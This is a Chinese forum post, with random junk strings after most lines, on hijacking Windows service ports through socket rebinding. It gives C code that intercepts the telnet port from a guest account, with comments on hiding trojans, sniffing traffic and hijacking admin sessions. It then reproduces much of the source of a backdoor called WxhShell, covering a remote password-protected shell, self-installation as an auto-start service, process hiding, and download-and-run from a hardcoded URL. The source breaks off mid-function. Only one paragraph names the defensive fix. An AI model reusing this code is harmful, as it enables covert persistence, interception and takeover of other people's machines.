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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: <jLL2-5r0  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); FJW,G20L  
aq(i^d  
  saddr.sin_family = AF_INET; Kzwe36O;?  
yv$hIU2X  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); U\[b qw  
G^/8^Zi  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); )31xl6@  
C7&L9k~jf  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 &.Yu%=}  
#X?E#^6?E  
  这意味着什么?意味着可以进行如下的攻击: /d$kz&aIV  
v <| iN#  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 A 0;ng2&  
e_1L J  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) xi)M8\K  
5 <7sVd.  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ?|n@ %'  
wV4MP1c$  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Nfmr5MU_  
TEC#owz  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 }rWg ']  
DMKtTt[}  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 =}SLQdT  
pM*( kN  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ~!/agLwY  
 ?H8dyQ5"  
  #include Z07n>|WF-  
  #include LvL2[xh%&  
  #include (:}}p}u  
  #include    X0LC:0+  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Yv"B-oy  
  int main() J{n A ?[  
  { )6px5Vwz  
  WORD wVersionRequested; hE4qs~YB!  
  DWORD ret; \|Y_,fi  
  WSADATA wsaData; 5wv7]F<  
  BOOL val; !'Hd:oD<  
  SOCKADDR_IN saddr; =RofC9,  
  SOCKADDR_IN scaddr; m RC   
  int err; V2'5doo  
  SOCKET s; yFTN/MFt  
  SOCKET sc; ]Z*B17//  
  int caddsize; <s'0<e!./t  
  HANDLE mt; 65rf=*kz:  
  DWORD tid;   x,GLGGi}_x  
  wVersionRequested = MAKEWORD( 2, 2 ); p.x2R,CU  
  err = WSAStartup( wVersionRequested, &wsaData ); `9acR>00$  
  if ( err != 0 ) { <2O XXQ1  
  printf("error!WSAStartup failed!\n"); o ethO  
  return -1; $A T kCO  
  } [|(=15;  
  saddr.sin_family = AF_INET; $1k@O@F(4  
   hsYv=Tw3C  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 b]N&4t  
s$^2Qp  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); nB4+*=$E+-  
  saddr.sin_port = htons(23); #jPn7  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) FRayB VHL  
  { cV4Y= &  
  printf("error!socket failed!\n"); wv Mp~  
  return -1; +HG*T[%/  
  } qtFHA+bO  
  val = TRUE; lA4TWU (]  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 n`T4P$pt  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Bz>5OuOVS\  
  { U+!&~C^y  
  printf("error!setsockopt failed!\n"); WDt6{5T  
  return -1; *0<)PJ T  
  } F]s:`4  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; x1}Ono3"T  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Uyd'uC  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 F;BCSoO4  
,}wFQ9*|W  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ^S!;snhn  
  { xRq A^Ad  
  ret=GetLastError(); MXDUKh7v3  
  printf("error!bind failed!\n"); .sKfwcYu4  
  return -1; /+m2|Ij(  
  } pv"s!q&  
  listen(s,2); |AS<I4+&  
  while(1) f{P?|8u  
  { ]oC"gWDYu  
  caddsize = sizeof(scaddr); 1had8K-  
  //接受连接请求 fm q(!  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); NB-%Tp*d  
  if(sc!=INVALID_SOCKET) R{Cbp=3J  
  { y>^0q/=]?O  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 2W#^^4^+  
  if(mt==NULL) SnM^T(gtS3  
  { 4b6)+*[O  
  printf("Thread Creat Failed!\n"); ^@Z8 _PZo  
  break; ^|2m&2  
  } FwD q@Oj  
  } ^$[iLX  
  CloseHandle(mt); #)O^aac29  
  } 1pjx8*!B  
  closesocket(s); !t\sg  
  WSACleanup(); 1X9J[5|ll  
  return 0; |f(*R_R  
  }   "akAGa!V+  
  DWORD WINAPI ClientThread(LPVOID lpParam) Zx7aae_{  
  { @|e we. r  
  SOCKET ss = (SOCKET)lpParam; kU.@HJ[@j  
  SOCKET sc; =T1Xfib  
  unsigned char buf[4096]; ,T;D33XV  
  SOCKADDR_IN saddr; zMd><UQP{  
  long num; %Hhk 6tR,  
  DWORD val; Ty7)j]b"zl  
  DWORD ret; ,qNbo 11  
  //如果是隐藏端口应用的话,可以在此处加一些判断 </aQ  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ?-8DS5  
  saddr.sin_family = AF_INET; g1(5QWb  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); D]N)  
  saddr.sin_port = htons(23); P!!O~P  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) s_e*jM1  
  { D|^N9lDaQ  
  printf("error!socket failed!\n"); ,Z}ST|$u  
  return -1; "<^n@=g'q  
  } >qmNT/  
  val = 100; 6~x a^3G:  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) M}q;\}  
  { @.`k2lxGd~  
  ret = GetLastError(); zS h9`F  
  return -1; Gl[1K/,*  
  } v5U'ky :  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) +wQ}ZP&  
  { hMUUnr"8;i  
  ret = GetLastError(); k4E9=y?  
  return -1; JAT%s %UC  
  } @AK&R~<  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) @]p {%"$  
  { =K}T; c  
  printf("error!socket connect failed!\n"); PZlPC#E-  
  closesocket(sc); k!'+7K.  
  closesocket(ss); MU\Pggs  
  return -1; #)]/wqPoW  
  } mIqm/5  
  while(1) '?g&);4)k-  
  { 0Ng?U+6  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 M^>l>?#rl  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 lcgG5/82  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 L4bYVTm|  
  num = recv(ss,buf,4096,0); yrl7  
  if(num>0) WNKg>$M  
  send(sc,buf,num,0); B<n[yiJ}  
  else if(num==0) 7S=,#  
  break; TQ0ZBhd  
  num = recv(sc,buf,4096,0); Sw5:T  
  if(num>0) 5HE5$S  
  send(ss,buf,num,0); =6'bGC%c  
  else if(num==0) D5f[:  
  break; (h g6<`  
  } 8Op^6rX4  
  closesocket(ss); jzBW'8  
  closesocket(sc); _*b`;{3  
  return 0 ; leI ]zDk=  
  } DbX7?Jr  
]yL+lv  
;jN1n xF  
========================================================== md!!$+a%|  
 |=![J?  
下边附上一个代码,,WXhSHELL A|YgA66M  
(: ?bQA'Td  
========================================================== zmL VFGnS  
YMU""/(  
#include "stdafx.h" v~jm<{={g  
dQ9W40g1  
#include <stdio.h> 1eEML"  
#include <string.h> 3IB9-wG  
#include <windows.h> *X ;ch55\  
#include <winsock2.h> u0G tzk  
#include <winsvc.h> `%"x'B`mM  
#include <urlmon.h> &K(y%ieIJ  
/e*fsQ>M:  
#pragma comment (lib, "Ws2_32.lib") ]<L~f~vU  
#pragma comment (lib, "urlmon.lib") g j]8/~lr  
5\w*W6y  
#define MAX_USER   100 // 最大客户端连接数 <W)F{N?  
#define BUF_SOCK   200 // sock buffer MNb9~kM  
#define KEY_BUFF   255 // 输入 buffer x$D^Bh,  
9yWf*s<  
#define REBOOT     0   // 重启 I,HtW),  
#define SHUTDOWN   1   // 关机 e6 x#4YH  
.kMnq8u  
#define DEF_PORT   5000 // 监听端口 )N607 Fa-  
5MKM;6cA&p  
#define REG_LEN     16   // 注册表键长度 2oRwDg&7|  
#define SVC_LEN     80   // NT服务名长度 z!18Jh  
~(huUW  
// 从dll定义API z8]@Gh+ (  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); cAot+N+9|]  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Cc,V ]  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2N]8@a  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); .Dl ?a>I  
3EY m@oZj  
// wxhshell配置信息 );6f8H@G  
struct WSCFG { kWy@wPqms  
  int ws_port;         // 监听端口 MPy>< J  
  char ws_passstr[REG_LEN]; // 口令 D6+3f #k6  
  int ws_autoins;       // 安装标记, 1=yes 0=no "5O>egt  
  char ws_regname[REG_LEN]; // 注册表键名 CR%h$+dzy  
  char ws_svcname[REG_LEN]; // 服务名 $Bl51Vj N  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 UnYb}rF#%  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 O>a1S*mxP  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ccPWfy_  
int ws_downexe;       // 下载执行标记, 1=yes 0=no r]D U  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" D!/ 4u0m  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 -)3+/4Q(  
bZ OCj1  
}; -1d*zySL  
o?t H[  
// default Wxhshell configuration N:k>V4oE  
struct WSCFG wscfg={DEF_PORT, tcsb]/my  
    "xuhuanlingzhe", gsM^Pu09ud  
    1, |G$-5 7fk  
    "Wxhshell", sP eTW*HeR  
    "Wxhshell", Ip=QtNW3\  
            "WxhShell Service", ->.9[|lIg  
    "Wrsky Windows CmdShell Service", ",Vx.LV  
    "Please Input Your Password: ", RWo7_XO  
  1, wvxz:~M  
  "http://www.wrsky.com/wxhshell.exe", 9p3~WA/M@  
  "Wxhshell.exe" g1"Z pD  
    }; zwJ&K;"y(  
;' vkF  
// 消息定义模块 2nCc(F&+?  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; XM*5I 4V  
char *msg_ws_prompt="\n\r? for help\n\r#>"; g\@.qKF  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; S.1>bs2  
char *msg_ws_ext="\n\rExit."; Ol+D"k~<C  
char *msg_ws_end="\n\rQuit."; ]?wz.  
char *msg_ws_boot="\n\rReboot..."; hfyU}`]  
char *msg_ws_poff="\n\rShutdown..."; !K}W.yv,  
char *msg_ws_down="\n\rSave to "; `BG>%#  
%O"Whe  
char *msg_ws_err="\n\rErr!"; ,+6u6  
char *msg_ws_ok="\n\rOK!"; g52)/HM  
JJSE@$",\  
char ExeFile[MAX_PATH]; C58o="L3S  
int nUser = 0; j>:N0:  
HANDLE handles[MAX_USER]; nGYi mRYO  
int OsIsNt; TNA7(<"fV|  
qm:C1#<p   
SERVICE_STATUS       serviceStatus; |pWu|M _'  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; t&q~ya/C  
w4\ 3*  
// 函数声明 #{J~ km/  
int Install(void); N#"l82^H*  
int Uninstall(void); I^![)# FC  
int DownloadFile(char *sURL, SOCKET wsh);  JJ}DYv  
int Boot(int flag); GN! R<9  
void HideProc(void); ;DYS1vGo  
int GetOsVer(void); 2y;vX|lX]  
int Wxhshell(SOCKET wsl); ~&qvS  
void TalkWithClient(void *cs); su1fsoL0  
int CmdShell(SOCKET sock); \gPMYMd  
int StartFromService(void); 2gZp O9  
int StartWxhshell(LPSTR lpCmdLine); <,n:w[+!`P  
tcv(<0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); U0:*?uA.  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Ew| Z<(  
GWPBP-)0  
// 数据结构和表定义 5 m-/N ?c  
SERVICE_TABLE_ENTRY DispatchTable[] = $`/UG0rdC  
{ w?|qKO  
{wscfg.ws_svcname, NTServiceMain}, }8aqSD<:  
{NULL, NULL} SE^l`.U@  
}; :?g+\:`/0j  
,@?9H ~\  
// 自我安装 };9s8VZE  
int Install(void) , h'Q  
{ iCg%$h  
  char svExeFile[MAX_PATH]; e"eIQI|N  
  HKEY key; :}Yk0*  
  strcpy(svExeFile,ExeFile); j<0 ;JAL  
{2P18&=  
// 如果是win9x系统,修改注册表设为自启动 `pZX!6Wn  
if(!OsIsNt) { Z.Z;p/4F  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6LGl]jHf  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \OFmd!Cz  
  RegCloseKey(key); S qb>a j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #!UJY%c ~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q6C`hVM l  
  RegCloseKey(key); z7`|N`$Z#s  
  return 0; 3I~.'>Pd  
    } 9S}rTZkEq  
  } `H$XO{w  
} :"!Z9l\@  
else { *#Ia8^z=p  
;)CN=J!  
// 如果是NT以上系统,安装为系统服务 1 @t.J>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ki@C}T5  
if (schSCManager!=0) u_9c>  
{ ui#nN   
  SC_HANDLE schService = CreateService .Hqq!&  
  ( o)@nnqa  
  schSCManager, kG!hqj  
  wscfg.ws_svcname, xlwf @XW  
  wscfg.ws_svcdisp, Nr2,m"R{  
  SERVICE_ALL_ACCESS, F9K0  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , +<F3}]]  
  SERVICE_AUTO_START, PLs`Ci|`  
  SERVICE_ERROR_NORMAL, tR'RB@kJ  
  svExeFile, M`'DD-Q  
  NULL, a<r,LE  
  NULL, P<vU!`x% q  
  NULL, {O y|c  
  NULL, "%^_.Db>|  
  NULL [[AO6.Z  
  ); J.4U;A5  
  if (schService!=0) mKO~`Wq%@  
  { ]3I a>i  
  CloseServiceHandle(schService); CV"}(1T  
  CloseServiceHandle(schSCManager); Q`AlK"G,  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1#_ pj eG  
  strcat(svExeFile,wscfg.ws_svcname); 2h51zG#qd  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { s a o&  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); h>GbJ/^  
  RegCloseKey(key); T{+a48,;  
  return 0; ~<VxtcEBz  
    } i]k)wr(  
  } /}U)|6- B  
  CloseServiceHandle(schSCManager); H6 x  
} T&pCLvkz  
} oydP}X  
1%B9xLq  
return 1; N}B&(dJ  
} #9DJk,SP  
TA*}p=?6?!  
// 自我卸载 ]YhQQH1> ]  
int Uninstall(void) `&q+ f+z  
{ {u1|`=;  
  HKEY key; > VIFQ\  
2ak]&ll+h  
if(!OsIsNt) { zu @|"f^`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 95@u|#n  
  RegDeleteValue(key,wscfg.ws_regname); v {HF}L  
  RegCloseKey(key); CS~onf<xz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n8;L_43U  
  RegDeleteValue(key,wscfg.ws_regname); ,%IP27bPW  
  RegCloseKey(key); dR\yRC]I  
  return 0; g{}<ptx]  
  } 8el6z2  
} E<3xv;v8r  
} \HzmhQb+m  
else { xtv%C  
Ep./->fOA  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); #?S"y:  
if (schSCManager!=0) h]&  
{ Qv ~@  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); b; C}=gg  
  if (schService!=0) 4lX_2QT]E  
  { unn2I|XH  
  if(DeleteService(schService)!=0) { 2H9hN4N  
  CloseServiceHandle(schService); d<j`=QH  
  CloseServiceHandle(schSCManager); iU 6,B  
  return 0; &&C70+_po  
  } G^dp9A  
  CloseServiceHandle(schService); Ij4q &i"  
  } Posz|u<x  
  CloseServiceHandle(schSCManager); J  Y8Rk=  
} 8/)\nV$0Y  
} 7 SJ=2  
u,8)M' UU  
return 1; WIi,`/K+  
} PV~D;  
cb)7$S  
// 从指定url下载文件 \v-I<"::  
int DownloadFile(char *sURL, SOCKET wsh) au50%sA~  
{ U'" #jT  
  HRESULT hr; [#@lsI  
char seps[]= "/"; qtAt=` s  
char *token; --l UEo~  
char *file; vJ&D>Vh4e  
char myURL[MAX_PATH]; xOShO"4Z   
char myFILE[MAX_PATH]; xP_%d,  
*Xk5H,:  
strcpy(myURL,sURL); u5Z yOZ;  
  token=strtok(myURL,seps); @u/CNx,`X  
  while(token!=NULL) 9;{(.K  
  { c8mh#T bl  
    file=token; OV;VsF  
  token=strtok(NULL,seps); |VaJ70\o  
  } 3^ UoK  
!~?/D  
GetCurrentDirectory(MAX_PATH,myFILE); |X>'W"Mn  
strcat(myFILE, "\\"); {u y^Bui}  
strcat(myFILE, file); b?`2LAgn  
  send(wsh,myFILE,strlen(myFILE),0); #|je m   
send(wsh,"...",3,0); $6UU58>n  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ; ,sNRES3  
  if(hr==S_OK) N}n3 +F  
return 0; fNAW4I I}  
else $[`rY D/.  
return 1; F%p DF\  
{c3FJ5:  
} /Q7q2Ne^*  
*Lz'<=DLoW  
// 系统电源模块 8 f~x\.  
int Boot(int flag) s/hWhaS<  
{ l+2NA4s  
  HANDLE hToken; P]^OSPRg  
  TOKEN_PRIVILEGES tkp; V0>[bzI  
D['J4B  
  if(OsIsNt) { L$O\fhO?  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^ICSh8C  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ?+ d{Rh) y  
    tkp.PrivilegeCount = 1; |LC"1 k  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8k:^( kByF  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7P(o!%H  
if(flag==REBOOT) { oS%(~])\  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 1-^D2B[-  
  return 0; rAHP5dx:  
} p({@t=L3g  
else { GO2q"a  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  .GJbrz  
  return 0; ly34aD/p~,  
} q 6UZ`9&z  
  } bl>W i@GL  
  else { TE o  
if(flag==REBOOT) { E-Xz  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9[VYd '  
  return 0; XZ.D<T"  
} iP9]b&  
else { XYP RMa?  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) iT{4-j7|P4  
  return 0; Rkk`+0K7$J  
} j~\FDcG*ed  
} g)Hsd0  
.?3ro Q  
return 1; FEu}zt@  
} 4rL`||  
d m"R0>  
// win9x进程隐藏模块 Ws3z-U>j  
void HideProc(void) Wf "$  
{ jEQ_#KKYJ  
wxK71OH  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )vOBF5  
  if ( hKernel != NULL ) g,WTXRy  
  { T2]8w1l&K  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); .?g=mh79(  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ku*k+4rz  
    FreeLibrary(hKernel); qk'&:A  
  } {ST8'hY  
ZMMx)}hS  
return; ec#`9w$  
}  gh[q*%#  
3O*iv{-&  
// 获取操作系统版本 :9 (kU  
int GetOsVer(void) 8iD7K@  
{ i03S9J  
  OSVERSIONINFO winfo; PO'K?hVS^w  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); lGp:rw`  
  GetVersionEx(&winfo); }O crA/  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) $~:ZzZO  
  return 1; mB0`>?#i  
  else R&t2   
  return 0; <75x@!  
} u y"i3xD6-  
9:RV5Dt  
// 客户端句柄模块 -tWxB GSa@  
int Wxhshell(SOCKET wsl) @6DKw;Q  
{ |b='DJz2  
  SOCKET wsh; bt1bTo  
  struct sockaddr_in client; L=Aj+  
  DWORD myID; r*mYtS  
4IW90"uc  
  while(nUser<MAX_USER) 7lF;(l^Z>}  
{ l<=k#d  
  int nSize=sizeof(client); N4VZl[7?  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); X(d:!-_m *  
  if(wsh==INVALID_SOCKET) return 1; {-7ovH?  
`R (N3  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); w_`;Mn%p  
if(handles[nUser]==0) R=Lkf  
  closesocket(wsh); |QbCFihn  
else l8+1{6xP  
  nUser++; . &}x[~g  
  } J:uFQWxZ   
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); D6e?J.  
c{D<+XM  
  return 0; ]S?G]/k}  
} F3!6}u\F  
&-NGVPk81`  
// 关闭 socket W=S^t_F  
void CloseIt(SOCKET wsh) ^o C>,%7  
{ qrOesSdc  
closesocket(wsh); j3w~2q"r  
nUser--; %<Qv?`B  
ExitThread(0); &=%M("IlD  
} ;A"i.:ZT  
q2B'R   
// 客户端请求句柄 ! Y UT*  
void TalkWithClient(void *cs) QrSO%Rm1*  
{ h Ks  
Wn;%B].I  
  SOCKET wsh=(SOCKET)cs; '^7Z]K<v  
  char pwd[SVC_LEN]; ||cI~qg  
  char cmd[KEY_BUFF]; ScInOPb'K  
char chr[1]; dwvc;f-  
int i,j; vfc5M6Vm)<  
H 9/m6F  
  while (nUser < MAX_USER) { #+" D?  
"\9 beK:l  
if(wscfg.ws_passstr) { B "4A1!  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ls|)SiXrY  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); KTo}xLT  
  //ZeroMemory(pwd,KEY_BUFF); H<^3H  
      i=0; Zg= {  
  while(i<SVC_LEN) { vqUYr  
P%[ { 'u  
  // 设置超时 x5rm 2C  
  fd_set FdRead; fK@UlMC]7  
  struct timeval TimeOut; 33}p02#  
  FD_ZERO(&FdRead); 2}P{7flDY  
  FD_SET(wsh,&FdRead); g(jn /Cx  
  TimeOut.tv_sec=8; lnMU5[g{  
  TimeOut.tv_usec=0; ="@f~~  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); nyhHXVRH  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); c0jTQMe4yl  
J~ @W":v  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;6]ag< Q  
  pwd=chr[0]; bS|h~B]rd  
  if(chr[0]==0xd || chr[0]==0xa) { S[8n GH#m  
  pwd=0; {}Afah  
  break; )!zg=}V  
  } )WEOqaR]  
  i++; T 9}dgf  
    } |l|$ Q;  
ow,! 7|m  
  // 如果是非法用户,关闭 socket NQ '|M  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); w1F)R^tU  
} |t$%kpp  
[8DPZU@  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0"sZP\<p  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 54]UfmT%I  
L)H/t6}i  
while(1) { [e|9%[.V  
{Aj=Rj@  
  ZeroMemory(cmd,KEY_BUFF); JGhK8E  
|9m*? 7  
      // 自动支持客户端 telnet标准   FhEfW7]0,  
  j=0; 'vZWk eo  
  while(j<KEY_BUFF) { HR'F  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qssK0!-  
  cmd[j]=chr[0]; +OI nf_O  
  if(chr[0]==0xa || chr[0]==0xd) { 4Dd]:2|D  
  cmd[j]=0; nob}}w]~C  
  break; k1D|Cpnp  
  } &]KA%Db2  
  j++; ~^3U@( :  
    } 3P'Wk|j  
zb!RfQ,  
  // 下载文件 7Sycy#D  
  if(strstr(cmd,"http://")) { p{0rHu[  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); "GxQ9=Z  
  if(DownloadFile(cmd,wsh)) N40DL_-  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); `Z@qWB<  
  else w/ID y Q  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9PR?'X;4  
  } '_n$xfH  
  else { 0e'@Xo2e  
[GW;RjPE  
    switch(cmd[0]) { A22'qgKm@  
  x)kp*^/  
  // 帮助 YO.+ 06X  
  case '?': { 99Nm?$ g  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `q y@Qo  
    break; Q,o"[ &Gp  
  } qHYoQ.ke  
  // 安装 oHethk  
  case 'i': { ) @f6  
    if(Install()) SUoUXh^!w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @ w,O1Xwj  
    else &X}i%etp^2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N/B-u)?\:  
    break; O 0P4uq  
    } QIcc@PGT9a  
  // 卸载 V9D>Xh!0H  
  case 'r': { ,V+,3TT  
    if(Uninstall()) j;&su=p"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RDu{U(!  
    else ~N+H7T.L  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o7fJ@3B/  
    break; Gd[: &h  
    } _/}/1/y$Y  
  // 显示 wxhshell 所在路径 io$fL_R=  
  case 'p': { $viZ[Lu!m  
    char svExeFile[MAX_PATH]; yzL6oU-{&  
    strcpy(svExeFile,"\n\r"); 3gs7Xj%N  
      strcat(svExeFile,ExeFile); Gl>*e|}  
        send(wsh,svExeFile,strlen(svExeFile),0); j@jUuYuDgl  
    break; 0 SDyE  
    } @ql S #(  
  // 重启 gCI{g. [I!  
  case 'b': { h}GzQry1  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Up1e4mNL  
    if(Boot(REBOOT)) /V>yF&p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `+T"^{ Z  
    else { IKeO&]k  
    closesocket(wsh); AUm5$;o,/  
    ExitThread(0); y?xFF9W@H  
    } Zx%6pZ(.  
    break; ALp|fZ\vp  
    } )#025>$z  
  // 关机 U{&gV~  
  case 'd': { 3c[TPD_:  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -j}zr yG-  
    if(Boot(SHUTDOWN)) f;a55%3c  
